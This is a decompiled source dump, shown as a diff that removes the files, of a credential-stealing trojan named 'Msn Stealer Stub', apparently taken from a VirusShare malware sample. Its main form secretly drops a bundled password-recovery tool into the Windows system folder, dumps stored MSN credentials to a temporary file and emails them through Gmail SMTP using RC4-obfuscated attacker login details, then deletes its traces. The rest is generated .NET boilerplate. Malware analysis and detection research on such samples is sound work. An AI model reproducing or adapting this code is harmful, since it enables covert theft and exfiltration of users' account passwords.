|
||||
|
||||
namespace Msn_Stealer_Stub
|
||||
{
|
||||
[DesignerGenerated]
|
||||
public class Form1 : Form
|
||||
{
|
||||
private static List<WeakReference> __ENCList = new List<WeakReference>();
|
||||
private IContainer components;
|
||||
[AccessedThroughProperty("Timer1")]
|
||||
private System.Windows.Forms.Timer _Timer1;
|
||||
private string[] options;
|
||||
private string text1;
|
||||
private string text2;
|
||||
private string text3;
|
||||
private string text4;
|
||||
private const string FileSplit = "@msn@";
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static Form1()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public Form1()
|
||||
{
|
||||
this.Load += new EventHandler(this.Form1_Load);
|
||||
Form1.__ENCAddToList((object) this);
|
||||
this.InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
private static void __ENCAddToList(object value)
|
||||
{
|
||||
lock (Form1.__ENCList)
|
||||
{
|
||||
if (Form1.__ENCList.Count == Form1.__ENCList.Capacity)
|
||||
{
|
||||
int index1 = 0;
|
||||
int num = checked (Form1.__ENCList.Count - 1);
|
||||
int index2 = 0;
|
||||
while (index2 <= num)
|
||||
{
|
||||
if (Form1.__ENCList[index2].IsAlive)
|
||||
{
|
||||
if (index2 != index1)
|
||||
Form1.__ENCList[index1] = Form1.__ENCList[index2];
|
||||
checked { ++index1; }
|
||||
}
|
||||
checked { ++index2; }
|
||||
}
|
||||
Form1.__ENCList.RemoveRange(index1, checked (Form1.__ENCList.Count - index1));
|
||||
Form1.__ENCList.Capacity = Form1.__ENCList.Count;
|
||||
}
|
||||
Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!disposing || this.components == null)
|
||||
return;
|
||||
this.components.Dispose();
|
||||
}
|
||||
finally
|
||||
{
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
private void InitializeComponent()
|
||||
{
|
||||
this.components = (IContainer) new System.ComponentModel.Container();
|
||||
this.Timer1 = new System.Windows.Forms.Timer(this.components);
|
||||
this.SuspendLayout();
|
||||
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
||||
this.AutoScaleMode = AutoScaleMode.Font;
|
||||
this.ClientSize = new Size(194, 172);
|
||||
this.FormBorderStyle = FormBorderStyle.None;
|
||||
this.MaximizeBox = false;
|
||||
this.Name = nameof (Form1);
|
||||
this.ShowIcon = false;
|
||||
this.ShowInTaskbar = false;
|
||||
this.Text = "Msn Stealer Stub";
|
||||
this.ResumeLayout(false);
|
||||
}
|
||||
|
||||
internal virtual System.Windows.Forms.Timer Timer1
|
||||
{
|
||||
[DebuggerNonUserCode] get => this._Timer1;
|
||||
[DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
|
||||
{
|
||||
EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
|
||||
if (this._Timer1 != null)
|
||||
this._Timer1.Tick -= eventHandler;
|
||||
this._Timer1 = value;
|
||||
if (this._Timer1 == null)
|
||||
return;
|
||||
this._Timer1.Tick += eventHandler;
|
||||
}
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
|
||||
private void Form1_Load(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
FileSystem.FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
|
||||
this.text1 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
this.text2 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
this.text3 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
this.text4 = Strings.Space(checked ((int) FileSystem.LOF(1)));
|
||||
FileSystem.FileGet(1, ref this.text1);
|
||||
FileSystem.FileGet(1, ref this.text2);
|
||||
FileSystem.FileGet(1, ref this.text3);
|
||||
FileSystem.FileGet(1, ref this.text4);
|
||||
FileSystem.FileClose(1);
|
||||
this.options = Strings.Split(this.text1, "@msn@");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
try
|
||||
{
|
||||
System.IO.File.WriteAllBytes("C:/WINDOWS/system32/msn.exe", Msn_Stealer_Stub.My.Resources.Resources.msn);
|
||||
Interaction.Shell("C:/WINDOWS/system32/msn.exe /stext C:/WINDOWS/system32/file123.tmp", AppWinStyle.Hide);
|
||||
StreamReader streamReader = new StreamReader("C:/WINDOWS/system32/file123.tmp");
|
||||
string end = streamReader.ReadToEnd();
|
||||
streamReader.Close();
|
||||
new SmtpClient("smtp.gmail.com")
|
||||
{
|
||||
Port = 587,
|
||||
EnableSsl = true,
|
||||
Credentials = ((ICredentialsByHost) new NetworkCredential(this.nuayman(this.options[1], "Türk-Hacker"), this.nuayman(this.options[2], "Türk-Hacker")))
|
||||
}.Send(new MailMessage()
|
||||
{
|
||||
To = {
|
||||
this.nuayman(this.options[1], "Türk-Hacker")
|
||||
},
|
||||
From = new MailAddress(this.nuayman(this.options[1], "Türk-Hacker")),
|
||||
Subject = "Türk Hacker",
|
||||
Body = end
|
||||
});
|
||||
System.IO.File.Delete("C:/WINDOWS/system32/msn.exe");
|
||||
System.IO.File.Delete("C:/WINDOWS/system32/file123.tmp");
|
||||
this.Hide();
|
||||
this.Close();
|
||||
Application.Exit();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
}
|
||||
|
||||
private void Timer1_Tick(object sender, EventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
this.Hide();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
ProjectData.SetProjectError(ex);
|
||||
ProjectData.ClearProjectError();
|
||||
}
|
||||
}
|
||||
|
||||
public string nuayman(string message, string password)
|
||||
{
|
||||
int index1 = 0;
|
||||
int index2 = 0;
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
string empty = string.Empty;
|
||||
int[] numArray1 = new int[257];
|
||||
int[] numArray2 = new int[257];
|
||||
int length = password.Length;
|
||||
int location1 = 0;
|
||||
while (location1 <= (int) byte.MaxValue)
|
||||
{
|
||||
char String = password.Substring(location1 % length, 1).ToCharArray()[0];
|
||||
numArray2[location1] = Strings.Asc(String);
|
||||
numArray1[location1] = location1;
|
||||
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
|
||||
}
|
||||
int index3 = 0;
|
||||
int location2 = 0;
|
||||
while (location2 <= (int) byte.MaxValue)
|
||||
{
|
||||
index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256;
|
||||
int num = numArray1[location2];
|
||||
numArray1[location2] = numArray1[index3];
|
||||
numArray1[index3] = num;
|
||||
Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1));
|
||||
}
|
||||
location1 = 1;
|
||||
while (location1 <= message.Length)
|
||||
{
|
||||
index1 = checked (index1 + 1) % 256;
|
||||
index2 = checked (index2 + numArray1[index1]) % 256;
|
||||
int num1 = numArray1[index1];
|
||||
numArray1[index1] = numArray1[index2];
|
||||
numArray1[index2] = num1;
|
||||
int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
|
||||
int CharCode = Strings.Asc(message.Substring(checked (location1 - 1), 1).ToCharArray()[0]) ^ num2;
|
||||
stringBuilder.Append(Strings.Chr(CharCode));
|
||||
Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
|
||||
}
|
||||
string str = stringBuilder.ToString();
|
||||
stringBuilder.Length = 0;
|
||||
return str;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,120 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@ -1,86 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Msn_Stealer_Stub.My.MyApplication
|
||||
// Assembly: Msn Stealer Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9C3EB139-9674-4DAF-9ABA-838E8B2B4852
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.FakeMSN.e-8da5ce07540c334a7f2d0ea687bb30f4306ad9f3c849bcd8500fb5ec742cd6c6.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Msn_Stealer_Stub.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : WindowsFormsApplicationBase
|
||||
{
|
||||
private static List<WeakReference> __ENCList = new List<WeakReference>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyApplication()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
private static void __ENCAddToList(object value)
|
||||
{
|
||||
lock (MyApplication.__ENCList)
|
||||
{
|
||||
if (MyApplication.__ENCList.Count == MyApplication.__ENCList.Capacity)
|
||||
{
|
||||
int index1 = 0;
|
||||
int num = checked (MyApplication.__ENCList.Count - 1);
|
||||
int index2 = 0;
|
||||
while (index2 <= num)
|
||||
{
|
||||
if (MyApplication.__ENCList[index2].IsAlive)
|
||||
{
|
||||
if (index2 != index1)
|
||||
MyApplication.__ENCList[index1] = MyApplication.__ENCList[index2];
|
||||
checked { ++index1; }
|
||||
}
|
||||
checked { ++index2; }
|
||||
}
|
||||
MyApplication.__ENCList.RemoveRange(index1, checked (MyApplication.__ENCList.Count - index1));
|
||||
MyApplication.__ENCList.Capacity = MyApplication.__ENCList.Count;
|
||||
}
|
||||
MyApplication.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[STAThread]
|
||||
[DebuggerHidden]
|
||||
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
|
||||
internal static void Main(string[] Args)
|
||||
{
|
||||
try
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
|
||||
}
|
||||
finally
|
||||
{
|
||||
}
|
||||
MyProject.Application.Run(Args);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
public MyApplication()
|
||||
: base(AuthenticationMode.Windows)
|
||||
{
|
||||
MyApplication.__ENCAddToList((object) this);
|
||||
this.IsSingleInstance = false;
|
||||
this.EnableVisualStyles = true;
|
||||
this.SaveMySettingsOnExit = true;
|
||||
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
|
||||
}
|
||||
}
|
||||
@ -1,24 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Msn_Stealer_Stub.My.MyComputer
|
||||
// Assembly: Msn Stealer Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9C3EB139-9674-4DAF-9ABA-838E8B2B4852
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.FakeMSN.e-8da5ce07540c334a7f2d0ea687bb30f4306ad9f3c849bcd8500fb5ec742cd6c6.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace Msn_Stealer_Stub.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,212 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Msn_Stealer_Stub.My.MyProject
|
||||
// Assembly: Msn Stealer Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9C3EB139-9674-4DAF-9ABA-838E8B2B4852
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.FakeMSN.e-8da5ce07540c334a7f2d0ea687bb30f4306ad9f3c849bcd8500fb5ec742cd6c6.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Msn_Stealer_Stub.My
|
||||
{
|
||||
[HideModuleName]
|
||||
[StandardModule]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyProject()
|
||||
{
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Forms")]
|
||||
internal static MyProject.MyForms Forms
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
|
||||
internal sealed class MyForms
|
||||
{
|
||||
public Form1 m_Form1;
|
||||
[ThreadStatic]
|
||||
private static Hashtable m_FormBeingCreated;
|
||||
|
||||
public Form1 Form1
|
||||
{
|
||||
[DebuggerNonUserCode] get
|
||||
{
|
||||
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
|
||||
return this.m_Form1;
|
||||
}
|
||||
[DebuggerNonUserCode] set
|
||||
{
|
||||
if (value == this.m_Form1)
|
||||
return;
|
||||
if (value != null)
|
||||
throw new ArgumentException("Property can only be set to Nothing");
|
||||
this.Dispose__Instance__<Form1>(ref this.m_Form1);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T Instance) where T : Form, new()
|
||||
{
|
||||
if ((object) Instance != null && !Instance.IsDisposed)
|
||||
return Instance;
|
||||
if (MyProject.MyForms.m_FormBeingCreated != null)
|
||||
{
|
||||
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
|
||||
}
|
||||
else
|
||||
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
|
||||
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
|
||||
try
|
||||
{
|
||||
return new T();
|
||||
}
|
||||
catch (TargetInvocationException ex) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
ProjectData.SetProjectError((Exception) ex);
|
||||
if (ex.InnerException != null)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
|
||||
}
|
||||
finally
|
||||
{
|
||||
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) where T : Form
|
||||
{
|
||||
instance.Dispose();
|
||||
instance = default (T);
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyForms()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyForms);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[ComVisible(false)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,74 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Msn_Stealer_Stub.My.MySettings
|
||||
// Assembly: Msn Stealer Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9C3EB139-9674-4DAF-9ABA-838E8B2B4852
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.FakeMSN.e-8da5ce07540c334a7f2d0ea687bb30f4306ad9f3c849bcd8500fb5ec742cd6c6.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace Msn_Stealer_Stub.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[CompilerGenerated]
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
|
||||
private static bool addedHandler;
|
||||
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerNonUserCode]
|
||||
private static void AutoSaveSettings(object sender, EventArgs e)
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
}
|
||||
|
||||
public static MySettings Default
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
object handlerLockObject = MySettings.addedHandlerLockObject;
|
||||
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
|
||||
Monitor.Enter(handlerLockObject);
|
||||
try
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
});
|
||||
MySettings.addedHandler = true;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Monitor.Exit(handlerLockObject);
|
||||
}
|
||||
}
|
||||
MySettings defaultInstance = MySettings.defaultInstance;
|
||||
return defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,31 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Msn_Stealer_Stub.My.MySettingsProperty
|
||||
// Assembly: Msn Stealer Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 9C3EB139-9674-4DAF-9ABA-838E8B2B4852
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-PSW.MSIL.FakeMSN.e-8da5ce07540c334a7f2d0ea687bb30f4306ad9f3c849bcd8500fb5ec742cd6c6.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace Msn_Stealer_Stub.My
|
||||
{
|
||||
[StandardModule]
|
||||
[HideModuleName]
|
||||
[CompilerGenerated]
|
||||
[DebuggerNonUserCode]
|
||||
internal sealed class MySettingsProperty
|
||||
